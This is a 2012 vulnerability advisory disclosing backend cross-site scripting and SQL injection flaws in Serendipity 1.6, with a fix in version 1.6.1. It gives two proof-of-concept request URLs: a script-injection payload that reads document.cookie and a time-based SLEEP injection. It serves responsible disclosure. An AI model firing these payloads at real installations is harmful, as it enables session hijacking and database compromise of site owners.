Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability

[Stefan Schurtz <s.schurtz () koramis de>]

Advisory: Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability
Advisory ID: KORAMIS-ADV2012-001
Contact: security () koramis de
Author: Stefan Schurtz
Affected Software: Successfully tested on Serendipity 1.6
Vendor URL: http://www.s9y.org
Vendor Status: fixed

==========================
Vulnerability Description:
==========================

The Serendipity backend is prone to a Cross-Site Scripting and SQL-Injection vulnerability.

==================
Technical Details:
==================

// XSS
http://[target]/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='";</script><script>alert(document.cookie)</script>

// SQL-Injection
http://[target]/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[plugin_to_conf]=-1&apos; OR 
SLEEP(10)=0 LIMIT 1--+

=========
Solution:
=========

Upgrade to version 1.6.1

====================
Disclosure Timeline:
====================

21-Apr-2012 - informed developers
22-Apr-2012 - feedback from developer
08-May-2012 - fixed in version 1.6.1

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz (KORAMIS Security Team).

===========
References:
===========

http://www.koramis.com/advisories/2012/KORAMIS-ADV2012-001.txt
http://blog.s9y.org/archives/240-Serendipity-1.6.1-released.htm

Best regards,
Stefan Schurtz

KORAMIS GmbH

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